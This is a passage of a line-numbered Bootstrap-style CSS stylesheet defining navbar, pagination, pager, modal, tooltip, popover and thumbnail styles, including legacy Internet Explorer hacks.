input[type="radio"] { 3604 | margin-top: 3px; 3605 | } 3606 | .navbar-form .input-append, 3607 | .navbar-form .input-prepend { 3608 | margin-top: 6px; 3609 | white-space: nowrap; 3610 | } 3611 | .navbar-form .input-append input, 3612 | .navbar-form .input-prepend input { 3613 | margin-top: 0; 3614 | } 3615 | .navbar-search { 3616 | position: relative; 3617 | float: left; 3618 | margin-top: 5px; 3619 | margin-bottom: 0; 3620 | } 3621 | .navbar-search .search-query { 3622 | margin-bottom: 0; 3623 | padding: 4px 14px; 3624 | font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; 3625 | font-size: 13px; 3626 | font-weight: normal; 3627 | line-height: 1; 3628 | -webkit-border-radius: 15px; 3629 | -moz-border-radius: 15px; 3630 | border-radius: 15px; 3631 | } 3632 | .navbar-static-top { 3633 | position: static; 3634 | margin-bottom: 0; 3635 | } 3636 | .navbar-static-top .navbar-inner { 3637 | -webkit-border-radius: 0; 3638 | -moz-border-radius: 0; 3639 | border-radius: 0; 3640 | } 3641 | .navbar-fixed-top, 3642 | .navbar-fixed-bottom { 3643 | position: fixed; 3644 | right: 0; 3645 | left: 0; 3646 | z-index: 1030; 3647 | margin-bottom: 0; 3648 | } 3649 | .navbar-fixed-top .navbar-inner, 3650 | .navbar-static-top .navbar-inner { 3651 | border-width: 0 0 1px; 3652 | } 3653 | .navbar-fixed-bottom .navbar-inner { 3654 | border-width: 1px 0 0; 3655 | } 3656 | .navbar-fixed-top .navbar-inner, 3657 | .navbar-fixed-bottom .navbar-inner { 3658 | padding-left: 0; 3659 | padding-right: 0; 3660 | -webkit-border-radius: 0; 3661 | -moz-border-radius: 0; 3662 | border-radius: 0; 3663 | } 3664 | .navbar-static-top .container, 3665 | .navbar-fixed-top .container, 3666 | .navbar-fixed-bottom .container { 3667 | width: 940px; 3668 | } 3669 | .navbar-fixed-top { 3670 | top: 0; 3671 | } 3672 | .navbar-fixed-top .navbar-inner, 3673 | .navbar-static-top .navbar-inner { 3674 | -webkit-box-shadow: 0 1px 10px rgba(0,0,0,.1); 3675 | -moz-box-shadow: 0 1px 10px rgba(0,0,0,.1); 3676 | box-shadow: 0 1px 10px rgba(0,0,0,.1); 3677 | } 3678 | .navbar-fixed-bottom { 3679 | bottom: 0; 3680 | } 3681 | .navbar-fixed-bottom .navbar-inner { 3682 | -webkit-box-shadow: 0 -1px 10px rgba(0,0,0,.1); 3683 | -moz-box-shadow: 0 -1px 10px rgba(0,0,0,.1); 3684 | box-shadow: 0 -1px 10px rgba(0,0,0,.1); 3685 | } 3686 | .navbar .nav { 3687 | position: relative; 3688 | left: 0; 3689 | display: block; 3690 | float: left; 3691 | margin: 0 10px 0 0; 3692 | } 3693 | .navbar .nav.pull-right { 3694 | float: right; 3695 | margin-right: 0; 3696 | } 3697 | .navbar .nav > li { 3698 | float: left; 3699 | } 3700 | .navbar .nav > li > a { 3701 | float: none; 3702 | padding: 10px 15px 10px; 3703 | color: #777777; 3704 | text-decoration: none; 3705 | text-shadow: 0 1px 0 #ffffff; 3706 | } 3707 | .navbar .nav .dropdown-toggle .caret { 3708 | margin-top: 8px; 3709 | } 3710 | .navbar .nav > li > a:focus, 3711 | .navbar .nav > li > a:hover { 3712 | background-color: transparent; 3713 | color: #333333; 3714 | text-decoration: none; 3715 | } 3716 | .navbar .nav > .active > a, 3717 | .navbar .nav > .active > a:hover, 3718 | .navbar .nav > .active > a:focus { 3719 | color: #555555; 3720 | text-decoration: none; 3721 | background-color: #e5e5e5; 3722 | -webkit-box-shadow: inset 0 3px 8px rgba(0, 0, 0, 0.125); 3723 | -moz-box-shadow: inset 0 3px 8px rgba(0, 0, 0, 0.125); 3724 | box-shadow: inset 0 3px 8px rgba(0, 0, 0, 0.125); 3725 | } 3726 | .navbar .btn-navbar { 3727 | display: none; 3728 | float: right; 3729 | padding: 7px 10px; 3730 | margin-left: 5px; 3731 | margin-right: 5px; 3732 | color: #ffffff; 3733 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 3734 | background-color: #ededed; 3735 | background-image: -moz-linear-gradient(top, #f2f2f2, #e5e5e5); 3736 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f2f2f2), to(#e5e5e5)); 3737 | background-image: -webkit-linear-gradient(top, #f2f2f2, #e5e5e5); 3738 | background-image: -o-linear-gradient(top, #f2f2f2, #e5e5e5); 3739 | background-image: linear-gradient(to bottom, #f2f2f2, #e5e5e5); 3740 | background-repeat: repeat-x; 3741 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2f2f2', endColorstr='#ffe5e5e5', GradientType=0); 3742 | border-color: #e5e5e5 #e5e5e5 #bfbfbf; 3743 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 3744 | *background-color: #e5e5e5; 3745 | /* Darken IE7 buttons by default so they stand out more given they won't have borders */ 3746 | 3747 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 3748 | -webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075); 3749 | -moz-box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075); 3750 | box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075); 3751 | } 3752 | .navbar .btn-navbar:hover, 3753 | .navbar .btn-navbar:active, 3754 | .navbar .btn-navbar.active, 3755 | .navbar .btn-navbar.disabled, 3756 | .navbar .btn-navbar[disabled] { 3757 | color: #ffffff; 3758 | background-color: #e5e5e5; 3759 | *background-color: #d9d9d9; 3760 | } 3761 | .navbar .btn-navbar:active, 3762 | .navbar .btn-navbar.active { 3763 | background-color: #cccccc \9; 3764 | } 3765 | .navbar .btn-navbar .icon-bar { 3766 | display: block; 3767 | width: 18px; 3768 | height: 2px; 3769 | background-color: #f5f5f5; 3770 | -webkit-border-radius: 1px; 3771 | -moz-border-radius: 1px; 3772 | border-radius: 1px; 3773 | -webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25); 3774 | -moz-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25); 3775 | box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25); 3776 | } 3777 | .btn-navbar .icon-bar + .icon-bar { 3778 | margin-top: 3px; 3779 | } 3780 | .navbar .nav > li > .dropdown-menu:before { 3781 | content: ''; 3782 | display: inline-block; 3783 | border-left: 7px solid transparent; 3784 | border-right: 7px solid transparent; 3785 | border-bottom: 7px solid #ccc; 3786 | border-bottom-color: rgba(0, 0, 0, 0.2); 3787 | position: absolute; 3788 | top: -7px; 3789 | left: 9px; 3790 | } 3791 | .navbar .nav > li > .dropdown-menu:after { 3792 | content: ''; 3793 | display: inline-block; 3794 | border-left: 6px solid transparent; 3795 | border-right: 6px solid transparent; 3796 | border-bottom: 6px solid #ffffff; 3797 | position: absolute; 3798 | top: -6px; 3799 | left: 10px; 3800 | } 3801 | .navbar-fixed-bottom .nav > li > .dropdown-menu:before { 3802 | border-top: 7px solid #ccc; 3803 | border-top-color: rgba(0, 0, 0, 0.2); 3804 | border-bottom: 0; 3805 | bottom: -7px; 3806 | top: auto; 3807 | } 3808 | .navbar-fixed-bottom .nav > li > .dropdown-menu:after { 3809 | border-top: 6px solid #ffffff; 3810 | border-bottom: 0; 3811 | bottom: -6px; 3812 | top: auto; 3813 | } 3814 | .navbar .nav li.dropdown.open > .dropdown-toggle, 3815 | .navbar .nav li.dropdown.active > .dropdown-toggle, 3816 | .navbar .nav li.dropdown.open.active > .dropdown-toggle { 3817 | background-color: #e5e5e5; 3818 | color: #555555; 3819 | } 3820 | .navbar .nav li.dropdown > .dropdown-toggle .caret { 3821 | border-top-color: #777777; 3822 | border-bottom-color: #777777; 3823 | } 3824 | .navbar .nav li.dropdown.open > .dropdown-toggle .caret, 3825 | .navbar .nav li.dropdown.active > .dropdown-toggle .caret, 3826 | .navbar .nav li.dropdown.open.active > .dropdown-toggle .caret { 3827 | border-top-color: #555555; 3828 | border-bottom-color: #555555; 3829 | } 3830 | .navbar .pull-right > li > .dropdown-menu, 3831 | .navbar .nav > li > .dropdown-menu.pull-right { 3832 | left: auto; 3833 | right: 0; 3834 | } 3835 | .navbar .pull-right > li > .dropdown-menu:before, 3836 | .navbar .nav > li > .dropdown-menu.pull-right:before { 3837 | left: auto; 3838 | right: 12px; 3839 | } 3840 | .navbar .pull-right > li > .dropdown-menu:after, 3841 | .navbar .nav > li > .dropdown-menu.pull-right:after { 3842 | left: auto; 3843 | right: 13px; 3844 | } 3845 | .navbar .pull-right > li > .dropdown-menu .dropdown-menu, 3846 | .navbar .nav > li > .dropdown-menu.pull-right .dropdown-menu { 3847 | left: auto; 3848 | right: 100%; 3849 | margin-left: 0; 3850 | margin-right: -1px; 3851 | -webkit-border-radius: 6px 0 6px 6px; 3852 | -moz-border-radius: 6px 0 6px 6px; 3853 | border-radius: 6px 0 6px 6px; 3854 | } 3855 | .navbar-inverse { 3856 | color: #999999; 3857 | } 3858 | .navbar-inverse .navbar-inner { 3859 | background-color: #1b1b1b; 3860 | background-image: -moz-linear-gradient(top, #222222, #111111); 3861 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#222222), to(#111111)); 3862 | background-image: -webkit-linear-gradient(top, #222222, #111111); 3863 | background-image: -o-linear-gradient(top, #222222, #111111); 3864 | background-image: linear-gradient(to bottom, #222222, #111111); 3865 | background-repeat: repeat-x; 3866 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff222222', endColorstr='#ff111111', GradientType=0); 3867 | border-color: #252525; 3868 | } 3869 | .navbar-inverse .brand, 3870 | .navbar-inverse .nav > li > a { 3871 | color: #999999; 3872 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 3873 | } 3874 | .navbar-inverse .brand:hover, 3875 | .navbar-inverse .nav > li > a:hover { 3876 | color: #ffffff; 3877 | } 3878 | .navbar-inverse .nav > li > a:focus, 3879 | .navbar-inverse .nav > li > a:hover { 3880 | background-color: transparent; 3881 | color: #ffffff; 3882 | } 3883 | .navbar-inverse .nav .active > a, 3884 | .navbar-inverse .nav .active > a:hover, 3885 | .navbar-inverse .nav .active > a:focus { 3886 | color: #ffffff; 3887 | background-color: #111111; 3888 | } 3889 | .navbar-inverse .navbar-link { 3890 | color: #999999; 3891 | } 3892 | .navbar-inverse .navbar-link:hover { 3893 | color: #ffffff; 3894 | } 3895 | .navbar-inverse .divider-vertical { 3896 | border-left-color: #111111; 3897 | border-right-color: #222222; 3898 | } 3899 | .navbar-inverse .nav li.dropdown.open > .dropdown-toggle, 3900 | .navbar-inverse .nav li.dropdown.active > .dropdown-toggle, 3901 | .navbar-inverse .nav li.dropdown.open.active > .dropdown-toggle { 3902 | background-color: #111111; 3903 | color: #ffffff; 3904 | } 3905 | .navbar-inverse .nav li.dropdown > .dropdown-toggle .caret { 3906 | border-top-color: #999999; 3907 | border-bottom-color: #999999; 3908 | } 3909 | .navbar-inverse .nav li.dropdown.open > .dropdown-toggle .caret, 3910 | .navbar-inverse .nav li.dropdown.active > .dropdown-toggle .caret, 3911 | .navbar-inverse .nav li.dropdown.open.active > .dropdown-toggle .caret { 3912 | border-top-color: #ffffff; 3913 | border-bottom-color: #ffffff; 3914 | } 3915 | .navbar-inverse .navbar-search .search-query { 3916 | color: #ffffff; 3917 | background-color: #515151; 3918 | border-color: #111111; 3919 | -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15); 3920 | -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15); 3921 | box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15); 3922 | -webkit-transition: none; 3923 | -moz-transition: none; 3924 | -o-transition: none; 3925 | transition: none; 3926 | } 3927 | .navbar-inverse .navbar-search .search-query:-moz-placeholder { 3928 | color: #cccccc; 3929 | } 3930 | .navbar-inverse .navbar-search .search-query:-ms-input-placeholder { 3931 | color: #cccccc; 3932 | } 3933 | .navbar-inverse .navbar-search .search-query::-webkit-input-placeholder { 3934 | color: #cccccc; 3935 | } 3936 | .navbar-inverse .navbar-search .search-query:focus, 3937 | .navbar-inverse .navbar-search .search-query.focused { 3938 | padding: 5px 15px; 3939 | color: #333333; 3940 | text-shadow: 0 1px 0 #ffffff; 3941 | background-color: #ffffff; 3942 | border: 0; 3943 | -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); 3944 | -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); 3945 | box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); 3946 | outline: 0; 3947 | } 3948 | .navbar-inverse .btn-navbar { 3949 | color: #ffffff; 3950 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 3951 | background-color: #0e0e0e; 3952 | background-image: -moz-linear-gradient(top, #151515, #040404); 3953 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#151515), to(#040404)); 3954 | background-image: -webkit-linear-gradient(top, #151515, #040404); 3955 | background-image: -o-linear-gradient(top, #151515, #040404); 3956 | background-image: linear-gradient(to bottom, #151515, #040404); 3957 | background-repeat: repeat-x; 3958 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff151515', endColorstr='#ff040404', GradientType=0); 3959 | border-color: #040404 #040404 #000000; 3960 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 3961 | *background-color: #040404; 3962 | /* Darken IE7 buttons by default so they stand out more given they won't have borders */ 3963 | 3964 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 3965 | } 3966 | .navbar-inverse .btn-navbar:hover, 3967 | .navbar-inverse .btn-navbar:active, 3968 | .navbar-inverse .btn-navbar.active, 3969 | .navbar-inverse .btn-navbar.disabled, 3970 | .navbar-inverse .btn-navbar[disabled] { 3971 | color: #ffffff; 3972 | background-color: #040404; 3973 | *background-color: #000000; 3974 | } 3975 | .navbar-inverse .btn-navbar:active, 3976 | .navbar-inverse .btn-navbar.active { 3977 | background-color: #000000 \9; 3978 | } 3979 | .breadcrumb { 3980 | padding: 8px 15px; 3981 | margin: 0 0 20px; 3982 | list-style: none; 3983 | background-color: #f5f5f5; 3984 | -webkit-border-radius: 4px; 3985 | -moz-border-radius: 4px; 3986 | border-radius: 4px; 3987 | } 3988 | .breadcrumb li { 3989 | display: inline-block; 3990 | *display: inline; 3991 | /* IE7 inline-block hack */ 3992 | 3993 | *zoom: 1; 3994 | text-shadow: 0 1px 0 #ffffff; 3995 | } 3996 | .breadcrumb .divider { 3997 | padding: 0 5px; 3998 | color: #ccc; 3999 | } 4000 | .breadcrumb .active { 4001 | color: #999999; 4002 | } 4003 | .pagination { 4004 | margin: 20px 0; 4005 | } 4006 | .pagination ul { 4007 | display: inline-block; 4008 | *display: inline; 4009 | /* IE7 inline-block hack */ 4010 | 4011 | *zoom: 1; 4012 | margin-left: 0; 4013 | margin-bottom: 0; 4014 | -webkit-border-radius: 4px; 4015 | -moz-border-radius: 4px; 4016 | border-radius: 4px; 4017 | -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); 4018 | -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); 4019 | box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); 4020 | } 4021 | .pagination ul > li { 4022 | display: inline; 4023 | } 4024 | .pagination ul > li > a, 4025 | .pagination ul > li > span { 4026 | float: left; 4027 | padding: 4px 12px; 4028 | line-height: 20px; 4029 | text-decoration: none; 4030 | background-color: #ffffff; 4031 | border: 1px solid #dddddd; 4032 | border-left-width: 0; 4033 | } 4034 | .pagination ul > li > a:hover, 4035 | .pagination ul > .active > a, 4036 | .pagination ul > .active > span { 4037 | background-color: #f5f5f5; 4038 | } 4039 | .pagination ul > .active > a, 4040 | .pagination ul > .active > span { 4041 | color: #999999; 4042 | cursor: default; 4043 | } 4044 | .pagination ul > .disabled > span, 4045 | .pagination ul > .disabled > a, 4046 | .pagination ul > .disabled > a:hover { 4047 | color: #999999; 4048 | background-color: transparent; 4049 | cursor: default; 4050 | } 4051 | .pagination ul > li:first-child > a, 4052 | .pagination ul > li:first-child > span { 4053 | border-left-width: 1px; 4054 | -webkit-border-top-left-radius: 4px; 4055 | -moz-border-radius-topleft: 4px; 4056 | border-top-left-radius: 4px; 4057 | -webkit-border-bottom-left-radius: 4px; 4058 | -moz-border-radius-bottomleft: 4px; 4059 | border-bottom-left-radius: 4px; 4060 | } 4061 | .pagination ul > li:last-child > a, 4062 | .pagination ul > li:last-child > span { 4063 | -webkit-border-top-right-radius: 4px; 4064 | -moz-border-radius-topright: 4px; 4065 | border-top-right-radius: 4px; 4066 | -webkit-border-bottom-right-radius: 4px; 4067 | -moz-border-radius-bottomright: 4px; 4068 | border-bottom-right-radius: 4px; 4069 | } 4070 | .pagination-centered { 4071 | text-align: center; 4072 | } 4073 | .pagination-right { 4074 | text-align: right; 4075 | } 4076 | .pagination-large ul > li > a, 4077 | .pagination-large ul > li > span { 4078 | padding: 11px 19px; 4079 | font-size: 17.5px; 4080 | } 4081 | .pagination-large ul > li:first-child > a, 4082 | .pagination-large ul > li:first-child > span { 4083 | -webkit-border-top-left-radius: 6px; 4084 | -moz-border-radius-topleft: 6px; 4085 | border-top-left-radius: 6px; 4086 | -webkit-border-bottom-left-radius: 6px; 4087 | -moz-border-radius-bottomleft: 6px; 4088 | border-bottom-left-radius: 6px; 4089 | } 4090 | .pagination-large ul > li:last-child > a, 4091 | .pagination-large ul > li:last-child > span { 4092 | -webkit-border-top-right-radius: 6px; 4093 | -moz-border-radius-topright: 6px; 4094 | border-top-right-radius: 6px; 4095 | -webkit-border-bottom-right-radius: 6px; 4096 | -moz-border-radius-bottomright: 6px; 4097 | border-bottom-right-radius: 6px; 4098 | } 4099 | .pagination-mini ul > li:first-child > a, 4100 | .pagination-small ul > li:first-child > a, 4101 | .pagination-mini ul > li:first-child > span, 4102 | .pagination-small ul > li:first-child > span { 4103 | -webkit-border-top-left-radius: 3px; 4104 | -moz-border-radius-topleft: 3px; 4105 | border-top-left-radius: 3px; 4106 | -webkit-border-bottom-left-radius: 3px; 4107 | -moz-border-radius-bottomleft: 3px; 4108 | border-bottom-left-radius: 3px; 4109 | } 4110 | .pagination-mini ul > li:last-child > a, 4111 | .pagination-small ul > li:last-child > a, 4112 | .pagination-mini ul > li:last-child > span, 4113 | .pagination-small ul > li:last-child > span { 4114 | -webkit-border-top-right-radius: 3px; 4115 | -moz-border-radius-topright: 3px; 4116 | border-top-right-radius: 3px; 4117 | -webkit-border-bottom-right-radius: 3px; 4118 | -moz-border-radius-bottomright: 3px; 4119 | border-bottom-right-radius: 3px; 4120 | } 4121 | .pagination-small ul > li > a, 4122 | .pagination-small ul > li > span { 4123 | padding: 2px 10px; 4124 | font-size: 11.9px; 4125 | } 4126 | .pagination-mini ul > li > a, 4127 | .pagination-mini ul > li > span { 4128 | padding: 1px 6px; 4129 | font-size: 10.5px; 4130 | } 4131 | .pager { 4132 | margin: 20px 0; 4133 | list-style: none; 4134 | text-align: center; 4135 | *zoom: 1; 4136 | } 4137 | .pager:before, 4138 | .pager:after { 4139 | display: table; 4140 | content: ""; 4141 | line-height: 0; 4142 | } 4143 | .pager:after { 4144 | clear: both; 4145 | } 4146 | .pager li { 4147 | display: inline; 4148 | } 4149 | .pager li > a, 4150 | .pager li > span { 4151 | display: inline-block; 4152 | padding: 5px 14px; 4153 | background-color: #fff; 4154 | border: 1px solid #ddd; 4155 | -webkit-border-radius: 15px; 4156 | -moz-border-radius: 15px; 4157 | border-radius: 15px; 4158 | } 4159 | .pager li > a:hover { 4160 | text-decoration: none; 4161 | background-color: #f5f5f5; 4162 | } 4163 | .pager .next > a, 4164 | .pager .next > span { 4165 | float: right; 4166 | } 4167 | .pager .previous > a, 4168 | .pager .previous > span { 4169 | float: left; 4170 | } 4171 | .pager .disabled > a, 4172 | .pager .disabled > a:hover, 4173 | .pager .disabled > span { 4174 | color: #999999; 4175 | background-color: #fff; 4176 | cursor: default; 4177 | } 4178 | .modal-backdrop { 4179 | position: fixed; 4180 | top: 0; 4181 | right: 0; 4182 | bottom: 0; 4183 | left: 0; 4184 | z-index: 1040; 4185 | background-color: #000000; 4186 | } 4187 | .modal-backdrop.fade { 4188 | opacity: 0; 4189 | } 4190 | .modal-backdrop, 4191 | .modal-backdrop.fade.in { 4192 | opacity: 0.8; 4193 | filter: alpha(opacity=80); 4194 | } 4195 | .modal { 4196 | position: fixed; 4197 | top: 50%; 4198 | left: 50%; 4199 | z-index: 1050; 4200 | width: 560px; 4201 | margin: -250px 0 0 -280px; 4202 | background-color: #ffffff; 4203 | border: 1px solid #999; 4204 | border: 1px solid rgba(0, 0, 0, 0.3); 4205 | *border: 1px solid #999; 4206 | /* IE6-7 */ 4207 | 4208 | -webkit-border-radius: 6px; 4209 | -moz-border-radius: 6px; 4210 | border-radius: 6px; 4211 | -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); 4212 | -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); 4213 | box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); 4214 | -webkit-background-clip: padding-box; 4215 | -moz-background-clip: padding-box; 4216 | background-clip: padding-box; 4217 | outline: none; 4218 | } 4219 | .modal.fade { 4220 | -webkit-transition: opacity .3s linear, top .3s ease-out; 4221 | -moz-transition: opacity .3s linear, top .3s ease-out; 4222 | -o-transition: opacity .3s linear, top .3s ease-out; 4223 | transition: opacity .3s linear, top .3s ease-out; 4224 | top: -25%; 4225 | } 4226 | .modal.fade.in { 4227 | top: 50%; 4228 | } 4229 | .modal-header { 4230 | padding: 9px 15px; 4231 | border-bottom: 1px solid #eee; 4232 | } 4233 | .modal-header .close { 4234 | margin-top: 2px; 4235 | } 4236 | .modal-header h3 { 4237 | margin: 0; 4238 | line-height: 30px; 4239 | } 4240 | .modal-body { 4241 | overflow-y: auto; 4242 | max-height: 400px; 4243 | padding: 15px; 4244 | } 4245 | .modal-form { 4246 | margin-bottom: 0; 4247 | } 4248 | .modal-footer { 4249 | padding: 14px 15px 15px; 4250 | margin-bottom: 0; 4251 | text-align: right; 4252 | background-color: #f5f5f5; 4253 | border-top: 1px solid #ddd; 4254 | -webkit-border-radius: 0 0 6px 6px; 4255 | -moz-border-radius: 0 0 6px 6px; 4256 | border-radius: 0 0 6px 6px; 4257 | -webkit-box-shadow: inset 0 1px 0 #ffffff; 4258 | -moz-box-shadow: inset 0 1px 0 #ffffff; 4259 | box-shadow: inset 0 1px 0 #ffffff; 4260 | *zoom: 1; 4261 | } 4262 | .modal-footer:before, 4263 | .modal-footer:after { 4264 | display: table; 4265 | content: ""; 4266 | line-height: 0; 4267 | } 4268 | .modal-footer:after { 4269 | clear: both; 4270 | } 4271 | .modal-footer .btn + .btn { 4272 | margin-left: 5px; 4273 | margin-bottom: 0; 4274 | } 4275 | .modal-footer .btn-group .btn + .btn { 4276 | margin-left: -1px; 4277 | } 4278 | .modal-footer .btn-block + .btn-block { 4279 | margin-left: 0; 4280 | } 4281 | .tooltip { 4282 | position: absolute; 4283 | z-index: 1030; 4284 | display: block; 4285 | visibility: visible; 4286 | padding: 5px; 4287 | font-size: 11px; 4288 | opacity: 0; 4289 | filter: alpha(opacity=0); 4290 | } 4291 | .tooltip.in { 4292 | opacity: 0.8; 4293 | filter: alpha(opacity=80); 4294 | } 4295 | .tooltip.top { 4296 | margin-top: -3px; 4297 | } 4298 | .tooltip.right { 4299 | margin-left: 3px; 4300 | } 4301 | .tooltip.bottom { 4302 | margin-top: 3px; 4303 | } 4304 | .tooltip.left { 4305 | margin-left: -3px; 4306 | } 4307 | .tooltip-inner { 4308 | max-width: 200px; 4309 | padding: 3px 8px; 4310 | color: #ffffff; 4311 | text-align: center; 4312 | text-decoration: none; 4313 | background-color: #000000; 4314 | -webkit-border-radius: 4px; 4315 | -moz-border-radius: 4px; 4316 | border-radius: 4px; 4317 | } 4318 | .tooltip-arrow { 4319 | position: absolute; 4320 | width: 0; 4321 | height: 0; 4322 | border-color: transparent; 4323 | border-style: solid; 4324 | } 4325 | .tooltip.top .tooltip-arrow { 4326 | bottom: 0; 4327 | left: 50%; 4328 | margin-left: -5px; 4329 | border-width: 5px 5px 0; 4330 | border-top-color: #000000; 4331 | } 4332 | .tooltip.right .tooltip-arrow { 4333 | top: 50%; 4334 | left: 0; 4335 | margin-top: -5px; 4336 | border-width: 5px 5px 5px 0; 4337 | border-right-color: #000000; 4338 | } 4339 | .tooltip.left .tooltip-arrow { 4340 | top: 50%; 4341 | right: 0; 4342 | margin-top: -5px; 4343 | border-width: 5px 0 5px 5px; 4344 | border-left-color: #000000; 4345 | } 4346 | .tooltip.bottom .tooltip-arrow { 4347 | top: 0; 4348 | left: 50%; 4349 | margin-left: -5px; 4350 | border-width: 0 5px 5px; 4351 | border-bottom-color: #000000; 4352 | } 4353 | .popover { 4354 | position: absolute; 4355 | top: 0; 4356 | left: 0; 4357 | z-index: 1010; 4358 | display: none; 4359 | width: 236px; 4360 | padding: 1px; 4361 | background-color: #ffffff; 4362 | -webkit-background-clip: padding-box; 4363 | -moz-background-clip: padding; 4364 | background-clip: padding-box; 4365 | border: 1px solid #ccc; 4366 | border: 1px solid rgba(0, 0, 0, 0.2); 4367 | -webkit-border-radius: 6px; 4368 | -moz-border-radius: 6px; 4369 | border-radius: 6px; 4370 | -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); 4371 | -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); 4372 | box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); 4373 | } 4374 | .popover.top { 4375 | margin-top: -10px; 4376 | } 4377 | .popover.right { 4378 | margin-left: 10px; 4379 | } 4380 | .popover.bottom { 4381 | margin-top: 10px; 4382 | } 4383 | .popover.left { 4384 | margin-left: -10px; 4385 | } 4386 | .popover-title { 4387 | margin: 0; 4388 | padding: 8px 14px; 4389 | font-size: 14px; 4390 | font-weight: normal; 4391 | line-height: 18px; 4392 | background-color: #f7f7f7; 4393 | border-bottom: 1px solid #ebebeb; 4394 | -webkit-border-radius: 5px 5px 0 0; 4395 | -moz-border-radius: 5px 5px 0 0; 4396 | border-radius: 5px 5px 0 0; 4397 | } 4398 | .popover-content { 4399 | padding: 9px 14px; 4400 | } 4401 | .popover-content p, 4402 | .popover-content ul, 4403 | .popover-content ol { 4404 | margin-bottom: 0; 4405 | } 4406 | .popover .arrow, 4407 | .popover .arrow:after { 4408 | position: absolute; 4409 | display: inline-block; 4410 | width: 0; 4411 | height: 0; 4412 | border-color: transparent; 4413 | border-style: solid; 4414 | } 4415 | .popover .arrow:after { 4416 | content: ""; 4417 | z-index: -1; 4418 | } 4419 | .popover.top .arrow { 4420 | bottom: -10px; 4421 | left: 50%; 4422 | margin-left: -10px; 4423 | border-width: 10px 10px 0; 4424 | border-top-color: #ffffff; 4425 | } 4426 | .popover.top .arrow:after { 4427 | border-width: 11px 11px 0; 4428 | border-top-color: rgba(0, 0, 0, 0.25); 4429 | bottom: -1px; 4430 | left: -11px; 4431 | } 4432 | .popover.right .arrow { 4433 | top: 50%; 4434 | left: -10px; 4435 | margin-top: -10px; 4436 | border-width: 10px 10px 10px 0; 4437 | border-right-color: #ffffff; 4438 | } 4439 | .popover.right .arrow:after { 4440 | border-width: 11px 11px 11px 0; 4441 | border-right-color: rgba(0, 0, 0, 0.25); 4442 | bottom: -11px; 4443 | left: -1px; 4444 | } 4445 | .popover.bottom .arrow { 4446 | top: -10px; 4447 | left: 50%; 4448 | margin-left: -10px; 4449 | border-width: 0 10px 10px; 4450 | border-bottom-color: #ffffff; 4451 | } 4452 | .popover.bottom .arrow:after { 4453 | border-width: 0 11px 11px; 4454 | border-bottom-color: rgba(0, 0, 0, 0.25); 4455 | top: -1px; 4456 | left: -11px; 4457 | } 4458 | .popover.left .arrow { 4459 | top: 50%; 4460 | right: -10px; 4461 | margin-top: -10px; 4462 | border-width: 10px 0 10px 10px; 4463 | border-left-color: #ffffff; 4464 | } 4465 | .popover.left .arrow:after { 4466 | border-width: 11px 0 11px 11px; 4467 | border-left-color: rgba(0, 0, 0, 0.25); 4468 | bottom: -11px; 4469 | right: -1px; 4470 | } 4471 | .thumbnails { 4472 | margin-left: -20px; 4473 | list-style: none; 4474 | *zoom: 1; 4475 | } 4476 | .thumbnails:before, 4477 | .thumbnails:after { 4478 | display: table; 4479 | content: ""; 4480 | line-height: 0; 4481 | } 4482 | .thumbnails:after { 4483 | clear: both; 4484 | } 4485 | .row-fluid .thumbnails { 4486 | margin-left: 0; 4487 | } 4488 | .thumbnails > li { 4489 | float: left; 4490 | margin-bottom: 20px; 4491 | margin-left: 20px; 4492 | } 4493 | .thumbnail { 4494 | display: block; 4495 | padding: 4px; 4496 | line-height: 20px; 4497 | border: 1px solid #ddd; 4498 | -webkit-border-radius: 4px; 4499 | -moz-border-radius: 4px; 4500 | border-radius: 4px; 4501 | -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.055); 4502 | -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.055); 4503 | box-shadow: 0 1px 3px rgba(0, 0, 0, 0.055); 4504 | -webkit-transition: all 0.2s ease-in-out; 4505 | -moz-transition: all 0.2s ease-in-out; 4506 | -o-transition: all 0.2s ease-in-out; 4507 | transition: all 0.2s ease-in-out; 4508 | } 4509 | a.thumbnail:hover { 4510 | border-color: #0088cc; 4511 | -webkit-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25); 4512 | -moz-box-shadow: 0 1px 4px 